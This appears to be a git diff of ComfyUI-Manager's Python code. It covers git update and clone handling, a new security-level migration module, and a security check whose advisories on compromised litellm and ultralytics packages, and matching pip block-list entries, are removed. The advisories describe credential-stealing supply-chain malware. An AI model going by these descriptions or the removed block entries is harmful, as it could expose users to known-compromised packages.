||||
if line:
|
||||
install_cmd = manager_util.make_pip_cmd(["install", line])
|
||||
subprocess.run(install_cmd)
|
||||
|
||||
|
||||
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
|
||||
"""
|
||||
|
||||
@@ -2109,15 +2084,7 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
|
||||
return False, True
|
||||
|
||||
try:
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
remote.pull()
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
|
||||
@@ -2174,18 +2141,26 @@ class GitProgress(RemoteProgress):
|
||||
|
||||
|
||||
def is_valid_url(url):
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if result.scheme and result.netloc:
|
||||
return True
|
||||
|
||||
# Check for SSH git URL format
|
||||
if SSH_URL_PATTERN.match(url):
|
||||
return True
|
||||
|
||||
try:
|
||||
# Check for HTTP/HTTPS URL format
|
||||
result = urlparse(url)
|
||||
if all([result.scheme, result.netloc]):
|
||||
return True
|
||||
finally:
|
||||
# Check for SSH git URL format
|
||||
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
if pattern.match(url):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def extract_url_and_commit_id(s):
|
||||
index = s.rfind('@')
|
||||
if index == -1:
|
||||
return (s, '')
|
||||
else:
|
||||
return (s[:index], s[index+1:])
|
||||
|
||||
async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=False):
|
||||
await unified_manager.reload('cache')
|
||||
await unified_manager.get_custom_nodes('default', 'cache')
|
||||
@@ -2203,8 +2178,11 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
|
||||
cnr = unified_manager.get_cnr_by_repo(url)
|
||||
if cnr:
|
||||
cnr_id = cnr['id']
|
||||
return await unified_manager.install_by_id(cnr_id, version_spec='nightly', channel='default', mode='cache')
|
||||
return await unified_manager.install_by_id(cnr_id, version_spec=None, channel='default', mode='cache')
|
||||
else:
|
||||
new_url, commit_id = extract_url_and_commit_id(url)
|
||||
if commit_id != "":
|
||||
url = new_url
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
|
||||
# NOTE: Keep original name as possible if unknown node
|
||||
@@ -2232,11 +2210,15 @@ async def gitclone_install(url, instant_execution=False, msg_prefix='', no_deps=
|
||||
clone_url = git_utils.get_url_for_clone(url)
|
||||
|
||||
if not instant_execution and platform.system() == 'Windows':
|
||||
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
|
||||
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
|
||||
if res != 0:
|
||||
return result.fail(f"Failed to clone '{clone_url}' into '{repo_path}'")
|
||||
else:
|
||||
repo = git.Repo.clone_from(clone_url, repo_path, recursive=True, progress=GitProgress())
|
||||
if commit_id!= "":
|
||||
repo.git.checkout(commit_id)
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
|
||||
repo.git.clear_cache()
|
||||
repo.close()
|
||||
|
||||
@@ -2271,12 +2253,12 @@ def git_pull(path):
|
||||
|
||||
current_branch = repo.active_branch
|
||||
remote_name = current_branch.tracking_branch().remote_name
|
||||
branch_name = current_branch.name
|
||||
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
branch_name = current_branch.name
|
||||
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
|
||||
repo.create_head(backup_name)
|
||||
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
@@ -2307,7 +2289,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
|
||||
cache_uri = str(manager_util.simple_hash(uri))+'_'+filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
if get_config()['network_mode'] == 'offline' or manager_util.is_manager_pip_package():
|
||||
if get_config()['network_mode'] == 'offline':
|
||||
# offline network mode
|
||||
if os.path.exists(cache_uri):
|
||||
json_obj = await manager_util.get_data(cache_uri)
|
||||
@@ -2327,7 +2309,7 @@ async def get_data_by_mode(mode, filename, channel_url=None):
|
||||
with open(cache_uri, "w", encoding='utf-8') as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
except Exception as e:
|
||||
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename} @ {channel_url}/{mode}\n=> {e}")
|
||||
print(f"[ComfyUI-Manager] Due to a network error, switching to local mode.\n=> {filename}\n=> {e}")
|
||||
uri = os.path.join(manager_util.comfyui_manager_path, filename)
|
||||
json_obj = await manager_util.get_data(uri)
|
||||
|
||||
@@ -2398,7 +2380,7 @@ def gitclone_uninstall(files):
|
||||
url = url[:-1]
|
||||
try:
|
||||
for custom_nodes_dir in get_custom_nodes_paths():
|
||||
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
|
||||
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
|
||||
dir_path = os.path.join(custom_nodes_dir, dir_name)
|
||||
|
||||
# safety check
|
||||
@@ -2446,7 +2428,7 @@ def gitclone_set_active(files, is_disable):
|
||||
url = url[:-1]
|
||||
try:
|
||||
for custom_nodes_dir in get_custom_nodes_paths():
|
||||
dir_name:str = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
|
||||
dir_name = os.path.splitext(os.path.basename(url))[0].replace(".git", "")
|
||||
dir_path = os.path.join(custom_nodes_dir, dir_name)
|
||||
|
||||
# safety check
|
||||
@@ -2543,7 +2525,7 @@ def update_to_stable_comfyui(repo_path):
|
||||
repo = git.Repo(repo_path)
|
||||
try:
|
||||
repo.git.checkout(repo.heads.master)
|
||||
except Exception:
|
||||
except:
|
||||
logging.error(f"[ComfyUI-Manager] Failed to checkout 'master' branch.\nrepo_path={repo_path}\nAvailable branches:")
|
||||
for branch in repo.branches:
|
||||
logging.error('\t'+branch.name)
|
||||
@@ -2567,7 +2549,7 @@ def update_to_stable_comfyui(repo_path):
|
||||
repo.git.checkout(tag_ref.name)
|
||||
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
|
||||
return 'updated', latest_tag
|
||||
except Exception:
|
||||
except:
|
||||
traceback.print_exc()
|
||||
return "fail", None
|
||||
|
||||
@@ -2724,7 +2706,7 @@ async def get_current_snapshot(custom_nodes_only = False):
|
||||
await unified_manager.get_custom_nodes('default', 'cache')
|
||||
|
||||
# Get ComfyUI hash
|
||||
repo_path = context.comfy_path
|
||||
repo_path = comfy_path
|
||||
|
||||
comfyui_commit_hash = None
|
||||
if not custom_nodes_only:
|
||||
@@ -2769,7 +2751,7 @@ async def get_current_snapshot(custom_nodes_only = False):
|
||||
commit_hash = git_utils.get_commit_hash(fullpath)
|
||||
url = git_utils.git_url(fullpath)
|
||||
git_custom_nodes[url] = dict(hash=commit_hash, disabled=is_disabled)
|
||||
except Exception:
|
||||
except:
|
||||
print(f"Failed to extract snapshots for the custom node '{path}'.")
|
||||
|
||||
elif path.endswith('.py'):
|
||||
@@ -2795,10 +2777,12 @@ async def get_current_snapshot(custom_nodes_only = False):
|
||||
|
||||
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
|
||||
if path is None:
|
||||
date_time_format = get_timestamp_for_path()
|
||||
now = datetime.now()
|
||||
|
||||
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
file_name = f"{date_time_format}_{postfix}"
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
|
||||
path = os.path.join(manager_snapshot_path, f"{file_name}.json")
|
||||
else:
|
||||
file_name = path.replace('\\', '/').split('/')[-1]
|
||||
file_name = file_name.split('.')[-2]
|
||||
@@ -2825,7 +2809,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
|
||||
with open(filepath, "r", encoding="UTF-8", errors="ignore") as json_file:
|
||||
try:
|
||||
workflow = json.load(json_file)
|
||||
except Exception:
|
||||
except:
|
||||
print(f"Invalid workflow file: {filepath}")
|
||||
exit(-1)
|
||||
|
||||
@@ -2838,7 +2822,7 @@ async def extract_nodes_from_workflow(filepath, mode='local', channel_url='defau
|
||||
else:
|
||||
try:
|
||||
workflow = json.loads(img.info['workflow'])
|
||||
except Exception:
|
||||
except:
|
||||
print(f"This is not a valid .png file containing a ComfyUI workflow: {filepath}")
|
||||
exit(-1)
|
||||
|
||||
@@ -3109,7 +3093,7 @@ def populate_github_stats(node_packs, json_obj_github):
|
||||
v['stars'] = -1
|
||||
v['last_update'] = -1
|
||||
v['trust'] = False
|
||||
except Exception:
|
||||
except:
|
||||
logging.error(f"[ComfyUI-Manager] DB item is broken:\n{v}")
|
||||
|
||||
|
||||
@@ -3386,13 +3370,13 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
|
||||
|
||||
|
||||
def get_comfyui_versions(repo=None):
|
||||
repo = repo or git.Repo(context.comfy_path)
|
||||
repo = repo or git.Repo(comfy_path)
|
||||
|
||||
remote_name = None
|
||||
try:
|
||||
remote_name = get_remote_name(repo)
|
||||
repo.remotes[remote_name].fetch()
|
||||
except Exception:
|
||||
except:
|
||||
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
|
||||
|
||||
def parse_semver(tag_name):
|
||||
@@ -3433,12 +3417,7 @@ def get_comfyui_versions(repo=None):
|
||||
default_commit = default_head_ref.reference.commit
|
||||
head_is_default = repo.head.commit == default_commit
|
||||
except Exception:
|
||||
# Fallback: compare directly with master branch
|
||||
try:
|
||||
if 'master' in [h.name for h in repo.heads]:
|
||||
head_is_default = repo.head.commit == repo.heads.master.commit
|
||||
except Exception:
|
||||
head_is_default = False
|
||||
head_is_default = False
|
||||
|
||||
nearest_semver = normalize_describe(described)
|
||||
exact_semver = exact_tag if parse_semver(exact_tag) else None
|
||||
@@ -3470,7 +3449,7 @@ def get_comfyui_versions(repo=None):
|
||||
|
||||
|
||||
def switch_comfyui(tag):
|
||||
repo = git.Repo(context.comfy_path)
|
||||
repo = git.Repo(comfy_path)
|
||||
|
||||
if tag == 'nightly':
|
||||
repo.git.checkout('master')
|
||||
@@ -3510,5 +3489,5 @@ def repo_switch_commit(repo_path, commit_hash):
|
||||
|
||||
repo.git.checkout(commit_hash)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
return None
|
||||
@@ -0,0 +1,356 @@
|
||||
"""
|
||||
ComfyUI-Manager migration module.
|
||||
Handles migration from legacy paths to new __manager path structure.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import configparser
|
||||
|
||||
# Startup notices for notice board
|
||||
startup_notices = [] # List of (message, level) tuples
|
||||
|
||||
|
||||
def add_startup_notice(message, level='warning'):
|
||||
"""Add a notice to be displayed on Manager notice board.
|
||||
|
||||
Args:
|
||||
message: HTML-formatted message string
|
||||
level: 'warning', 'error', 'info'
|
||||
"""
|
||||
global startup_notices
|
||||
startup_notices.append((message, level))
|
||||
|
||||
|
||||
# Cache for API check (computed once per session)
|
||||
_cached_has_system_user_api = None
|
||||
|
||||
|
||||
def has_system_user_api():
|
||||
"""Check if ComfyUI has the System User Protection API (PR #10966).
|
||||
|
||||
Result is cached for performance.
|
||||
"""
|
||||
global _cached_has_system_user_api
|
||||
if _cached_has_system_user_api is None:
|
||||
try:
|
||||
import folder_paths
|
||||
_cached_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
|
||||
except Exception:
|
||||
_cached_has_system_user_api = False
|
||||
return _cached_has_system_user_api
|
||||
|
||||
|
||||
def get_manager_path(user_dir):
|
||||
"""Get the appropriate manager files path based on ComfyUI version.
|
||||
|
||||
Returns:
|
||||
str: manager_files_path
|
||||
"""
|
||||
if has_system_user_api():
|
||||
return os.path.abspath(os.path.join(user_dir, '__manager'))
|
||||
else:
|
||||
return os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
|
||||
|
||||
|
||||
def run_migration_checks(user_dir, manager_files_path):
|
||||
"""Run all migration and security checks.
|
||||
|
||||
Call this after get_manager_path() to handle:
|
||||
- Legacy config migration (new ComfyUI)
|
||||
- Legacy backup notification (every startup)
|
||||
- Suspicious directory detection (old ComfyUI)
|
||||
- Outdated ComfyUI warning (old ComfyUI)
|
||||
"""
|
||||
if has_system_user_api():
|
||||
migrated = migrate_legacy_config(user_dir, manager_files_path)
|
||||
# Only check for legacy backup if migration didn't just happen
|
||||
# (migration already shows backup location in its message)
|
||||
if not migrated:
|
||||
check_legacy_backup(manager_files_path)
|
||||
else:
|
||||
check_suspicious_manager(user_dir)
|
||||
warn_outdated_comfyui()
|
||||
|
||||
|
||||
def check_legacy_backup(manager_files_path):
|
||||
"""Check for legacy backup and notify user to verify and remove it.
|
||||
|
||||
This runs on every startup to remind users about pending legacy backup.
|
||||
"""
|
||||
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
|
||||
if not os.path.exists(backup_dir):
|
||||
return
|
||||
|
||||
# Terminal output
|
||||
print("\n" + "-"*70)
|
||||
print("[ComfyUI-Manager] NOTICE: Legacy backup exists")
|
||||
print(" - Your old Manager data was backed up to:")
|
||||
print(f" {backup_dir}")
|
||||
print(" - Please verify and remove it when no longer needed.")
|
||||
print("-"*70 + "\n")
|
||||
|
||||
# Notice board output
|
||||
add_startup_notice(
|
||||
"Legacy ComfyUI-Manager data backup exists. Please verify and remove when no longer needed. See terminal for details.",
|
||||
level='info'
|
||||
)
|
||||
|
||||
|
||||
def check_suspicious_manager(user_dir):
|
||||
"""Check for suspicious __manager directory on old ComfyUI.
|
||||
|
||||
On old ComfyUI without System User API, if __manager exists with low security,
|
||||
warn the user to verify manually.
|
||||
|
||||
Returns:
|
||||
bool: True if suspicious setup detected
|
||||
"""
|
||||
if has_system_user_api():
|
||||
return False # Not suspicious on new ComfyUI
|
||||
|
||||
suspicious_path = os.path.abspath(os.path.join(user_dir, '__manager'))
|
||||
if not os.path.exists(suspicious_path):
|
||||
return False
|
||||
|
||||
config_path = os.path.join(suspicious_path, 'config.ini')
|
||||
if not os.path.exists(config_path):
|
||||
return False
|
||||
|
||||
config = configparser.ConfigParser()
|
||||
config.read(config_path)
|
||||
sec_level = config.get('default', 'security_level', fallback='normal').lower()
|
||||
|
||||
if sec_level in ['weak', 'normal-']:
|
||||
# Terminal output
|
||||
print("\n" + "!"*70)
|
||||
print("[ComfyUI-Manager] ERROR: Suspicious path detected!")
|
||||
print(f" - '__manager' exists with low security level: '{sec_level}'")
|
||||
print(" - Please verify manually:")
|
||||
print(f" {config_path}")
|
||||
print("!"*70 + "\n")
|
||||
|
||||
# Notice board output
|
||||
add_startup_notice(
|
||||
"[Security Alert] Suspicious path detected. See terminal log for details.",
|
||||
level='error'
|
||||
)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def warn_outdated_comfyui():
|
||||
"""Warn user about outdated ComfyUI without System User API."""
|
||||
if has_system_user_api():
|
||||
return
|
||||
|
||||
# Terminal output
|
||||
print("\n" + "!"*70)
|
||||
print("[ComfyUI-Manager] ERROR: ComfyUI version is outdated!")
|
||||
print(" - Most operations are blocked for security.")
|
||||
print(" - ComfyUI update is still allowed.")
|
||||
print(" - Please update ComfyUI to use Manager normally.")
|
||||
print("!"*70 + "\n")
|
||||
|
||||
# Notice board output
|
||||
add_startup_notice(
|
||||
"[Security Alert] ComfyUI outdated. Installations blocked (update allowed).<BR>"
|
||||
"Update ComfyUI for normal operation.",
|
||||
level='error'
|
||||
)
|
||||
|
||||
|
||||
def migrate_legacy_config(user_dir, manager_files_path):
|
||||
"""Migrate ONLY config.ini to new __manager path if needed.
|
||||
|
||||
IMPORTANT: Only config.ini is migrated. Other files (snapshots, cache, etc.)
|
||||
are NOT migrated - users must recreate them.
|
||||
|
||||
Scenarios:
|
||||
1. Legacy exists, New doesn't exist → Migrate config.ini
|
||||
2. Legacy exists, New exists → First update after upgrade
|
||||
- Run ComfyUI dependency installation
|
||||
- Rename legacy to .backup
|
||||
3. Legacy doesn't exist → No migration needed
|
||||
|
||||
Returns:
|
||||
bool: True if migration was performed
|
||||
"""
|
||||
if not has_system_user_api():
|
||||
return False
|
||||
|
||||
legacy_dir = os.path.join(user_dir, 'default', 'ComfyUI-Manager')
|
||||
legacy_config = os.path.join(legacy_dir, 'config.ini')
|
||||
new_config = os.path.join(manager_files_path, 'config.ini')
|
||||
|
||||
if not os.path.exists(legacy_dir):
|
||||
return False # No legacy directory, nothing to migrate
|
||||
|
||||
# IMPORTANT: Check for config.ini existence, not just directory
|
||||
# (because makedirs() creates __manager before this function is called)
|
||||
|
||||
# Case: Both configs exist (first update after ComfyUI upgrade)
|
||||
# This means user ran new ComfyUI at least once, creating __manager/config.ini
|
||||
if os.path.exists(legacy_config) and os.path.exists(new_config):
|
||||
_handle_first_update_migration(user_dir, legacy_dir, manager_files_path)
|
||||
return True
|
||||
|
||||
# Case: Legacy config exists but new config doesn't (normal migration)
|
||||
# This is the first run after ComfyUI upgrade
|
||||
if os.path.exists(legacy_config) and not os.path.exists(new_config):
|
||||
pass # Continue with normal migration below
|
||||
else:
|
||||
return False
|
||||
|
||||
# Terminal output
|
||||
print("\n" + "-"*70)
|
||||
print("[ComfyUI-Manager] NOTICE: Legacy config.ini detected")
|
||||
print(f" - Old: {legacy_config}")
|
||||
print(f" - New: {new_config}")
|
||||
print(" - Migrating config.ini only (other files are NOT migrated).")
|
||||
print(" - Security level below 'normal' will be raised.")
|
||||
print("-"*70 + "\n")
|
||||
|
||||
_migrate_config_with_security_check(legacy_config, new_config)
|
||||
|
||||
# Move legacy directory to backup
|
||||
_move_legacy_to_backup(legacy_dir, manager_files_path)
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def _handle_first_update_migration(user_dir, legacy_dir, manager_files_path):
|
||||
"""Handle first ComfyUI update when both legacy and new directories exist.
|
||||
|
||||
This scenario happens when:
|
||||
- User was on old ComfyUI (using default/ComfyUI-Manager)
|
||||
- ComfyUI was updated (now has System User API)
|
||||
- Manager already created __manager on first new run
|
||||
- But legacy directory still exists
|
||||
|
||||
Actions:
|
||||
1. Run ComfyUI dependency installation
|
||||
2. Move legacy to __manager/.legacy-manager-backup
|
||||
"""
|
||||
# Terminal output
|
||||
print("\n" + "-"*70)
|
||||
print("[ComfyUI-Manager] NOTICE: First update after ComfyUI upgrade detected")
|
||||
print(" - Both legacy and new directories exist.")
|
||||
print(" - Running ComfyUI dependency installation...")
|
||||
print("-"*70 + "\n")
|
||||
|
||||
# Run ComfyUI dependency installation
|
||||
# Path: glob/manager_migration.py → glob → comfyui-manager → custom_nodes → ComfyUI
|
||||
try:
|
||||
comfyui_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
||||
requirements_path = os.path.join(comfyui_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_path):
|
||||
subprocess.run([sys.executable, '-m', 'pip', 'install', '-r', requirements_path],
|
||||
capture_output=True, check=False)
|
||||
print("[ComfyUI-Manager] ComfyUI dependencies installation completed.")
|
||||
except Exception as e:
|
||||
print(f"[ComfyUI-Manager] WARNING: Failed to install ComfyUI dependencies: {e}")
|
||||
|
||||
# Move legacy to backup inside __manager
|
||||
_move_legacy_to_backup(legacy_dir, manager_files_path)
|
||||
|
||||
|
||||
def _move_legacy_to_backup(legacy_dir, manager_files_path):
|
||||
"""Move legacy directory to backup inside __manager.
|
||||
|
||||
Returns:
|
||||
str: Path to backup directory if successful, None if failed
|
||||
"""
|
||||
import shutil
|
||||
|
||||
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
|
||||
|
||||
try:
|
||||
if os.path.exists(backup_dir):
|
||||
shutil.rmtree(backup_dir) # Remove old backup if exists
|
||||
shutil.move(legacy_dir, backup_dir)
|
||||
|
||||
# Terminal output (full paths shown here only)
|
||||
print("\n" + "-"*70)
|
||||
print("[ComfyUI-Manager] NOTICE: Legacy settings migrated")
|
||||
print(f" - Old location: {legacy_dir}")
|
||||
print(f" - Backed up to: {backup_dir}")
|
||||
print(" - Please verify and remove the backup when no longer needed.")
|
||||
print("-"*70 + "\n")
|
||||
|
||||
# Notice board output (no full paths for security)
|
||||
add_startup_notice(
|
||||
"Legacy ComfyUI-Manager data migrated. See terminal for details.",
|
||||
level='info'
|
||||
)
|
||||
return backup_dir
|
||||
except Exception as e:
|
||||
print(f"[ComfyUI-Manager] WARNING: Failed to backup legacy directory: {e}")
|
||||
add_startup_notice(
|
||||
f"[MIGRATION] Failed to backup legacy directory: {e}",
|
||||
level='warning'
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
def _migrate_config_with_security_check(legacy_path, new_path):
|
||||
"""Migrate legacy config, raising security level only if below default."""
|
||||
config = configparser.ConfigParser()
|
||||
try:
|
||||
config.read(legacy_path)
|
||||
except Exception as e:
|
||||
print(f"[ComfyUI-Manager] WARNING: Failed to parse config.ini: {e}")
|
||||
print(" - Creating fresh config with default settings.")
|
||||
add_startup_notice(
|
||||
"[MIGRATION] Failed to parse legacy config. Using defaults.",
|
||||
level='warning'
|
||||
)
|
||||
return # Skip migration, let Manager create fresh config
|
||||
|
||||
# Security level hierarchy: strong > normal > normal- > weak
|
||||
# Default is 'normal', only raise if below default
|
||||
if 'default' in config:
|
||||
current_level = config['default'].get('security_level', 'normal').lower()
|
||||
below_default_levels = ['weak', 'normal-']
|
||||
|
||||
if current_level in below_default_levels:
|
||||
config['default']['security_level'] = 'normal'
|
||||
|
||||
# Terminal output
|
||||
print("\n" + "="*70)
|
||||
print("[ComfyUI-Manager] WARNING: Security level adjusted")
|
||||
print(f" - Previous: '{current_level}' → New: 'normal'")
|
||||
print(" - Raised to prevent unauthorized remote access.")
|
||||
print("="*70 + "\n")
|
||||
|
||||
# Notice board output
|
||||
add_startup_notice(
|
||||
f"[MIGRATION] Security level raised: '{current_level}' → 'normal'.<BR>"
|
||||
"To prevent unauthorized remote access.",
|
||||
level='warning'
|
||||
)
|
||||
else:
|
||||
print(f" - Security level: '{current_level}' (no change needed)")
|
||||
|
||||
# Ensure directory exists
|
||||
os.makedirs(os.path.dirname(new_path), exist_ok=True)
|
||||
|
||||
with open(new_path, 'w') as f:
|
||||
config.write(f)
|
||||
|
||||
|
||||
def force_security_level_if_needed(config_dict):
|
||||
"""Force security level to 'strong' if on old ComfyUI.
|
||||
|
||||
Args:
|
||||
config_dict: Configuration dictionary to modify in-place
|
||||
|
||||
Returns:
|
||||
bool: True if security level was forced
|
||||
"""
|
||||
if not has_system_user_api():
|
||||
config_dict['security_level'] = 'strong'
|
||||
return True
|
||||
return False
|
||||
File diff suppressed because it is too large
Load Diff
@@ -8,29 +8,24 @@ import aiohttp
|
||||
import json
|
||||
import threading
|
||||
import os
|
||||
from datetime import datetime
|
||||
import subprocess
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
import platform
|
||||
import shlex
|
||||
import time
|
||||
from functools import lru_cache
|
||||
|
||||
|
||||
cache_lock = threading.Lock()
|
||||
session_lock = threading.Lock()
|
||||
|
||||
comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
|
||||
|
||||
use_uv = False
|
||||
use_unified_resolver = False
|
||||
bypass_ssl = False
|
||||
|
||||
def is_manager_pip_package():
|
||||
return not os.path.exists(os.path.join(comfyui_manager_path, '..', 'custom_nodes'))
|
||||
|
||||
def add_python_path_to_env():
|
||||
if platform.system() != "Windows":
|
||||
sep = ':'
|
||||
@@ -60,7 +55,7 @@ def get_pip_cmd(force_uv=False):
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip']
|
||||
except Exception:
|
||||
logging.warning("[ComfyUI-Manager] python -m pip not available. Falling back to uv.")
|
||||
logging.warning("[ComfyUI-Manager] `python -m pip` not available. Falling back to `uv`.")
|
||||
|
||||
# Try uv (either forced or pip failed)
|
||||
import shutil
|
||||
@@ -69,19 +64,19 @@ def get_pip_cmd(force_uv=False):
|
||||
try:
|
||||
test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', '--version']
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
logging.info("[ComfyUI-Manager] Using uv as Python module for pip operations.")
|
||||
logging.info("[ComfyUI-Manager] Using `uv` as Python module for pip operations.")
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', 'pip']
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Try standalone uv
|
||||
if shutil.which('uv'):
|
||||
logging.info("[ComfyUI-Manager] Using standalone uv for pip operations.")
|
||||
logging.info("[ComfyUI-Manager] Using standalone `uv` for pip operations.")
|
||||
return ['uv', 'pip']
|
||||
|
||||
# Nothing worked
|
||||
logging.error("[ComfyUI-Manager] Neither python -m pip nor uv are available. Cannot proceed with package operations.")
|
||||
raise Exception("Neither pip nor uv are available for package management")
|
||||
logging.error("[ComfyUI-Manager] Neither `python -m pip` nor `uv` are available. Cannot proceed with package operations.")
|
||||
raise Exception("Neither `pip` nor `uv` are available for package management")
|
||||
|
||||
|
||||
def make_pip_cmd(cmd):
|
||||
@@ -102,7 +97,7 @@ def make_pip_cmd(cmd):
|
||||
# DON'T USE StrictVersion - cannot handle pre_release version
|
||||
# try:
|
||||
# from distutils.version import StrictVersion
|
||||
# except Exception:
|
||||
# except:
|
||||
# print(f"[ComfyUI-Manager] 'distutils' package not found. Activating fallback mode for compatibility.")
|
||||
class StrictVersion:
|
||||
def __init__(self, version_string):
|
||||
@@ -177,7 +172,7 @@ def is_file_created_within_one_day(file_path):
|
||||
return False
|
||||
|
||||
file_creation_time = os.path.getctime(file_path)
|
||||
current_time = time.time()
|
||||
current_time = datetime.now().timestamp()
|
||||
time_difference = current_time - file_creation_time
|
||||
|
||||
return time_difference <= 86400
|
||||
@@ -557,7 +552,7 @@ def robust_readlines(fullpath):
|
||||
try:
|
||||
with open(fullpath, "r") as f:
|
||||
return f.readlines()
|
||||
except Exception:
|
||||
except:
|
||||
encoding = None
|
||||
with open(fullpath, "rb") as f:
|
||||
raw_data = f.read()
|
||||
@@ -3,7 +3,7 @@ from __future__ import annotations
|
||||
from dataclasses import dataclass
|
||||
import os
|
||||
|
||||
from .git_utils import get_commit_hash
|
||||
from git_utils import get_commit_hash
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -2,7 +2,7 @@ import sys
|
||||
import subprocess
|
||||
import os
|
||||
|
||||
from . import manager_util
|
||||
import manager_util
|
||||
|
||||
|
||||
def security_check():
|
||||
@@ -53,40 +53,6 @@ And kill and remove /tmp/ultralytics_runner
|
||||
|
||||
The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
|
||||
https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
|
||||
""",
|
||||
"litellm==1.82.7": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
""",
|
||||
"litellm==1.82.8": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
"""
|
||||
}
|
||||
|
||||
@@ -94,10 +60,7 @@ Advisory: PYSEC-2026-2
|
||||
|
||||
pip_blacklist = {
|
||||
"AppleBotzz": "ComfyUI_LLMVISION",
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41",
|
||||
"ultralytics==8.3.42": "ultralytics==8.3.42",
|
||||
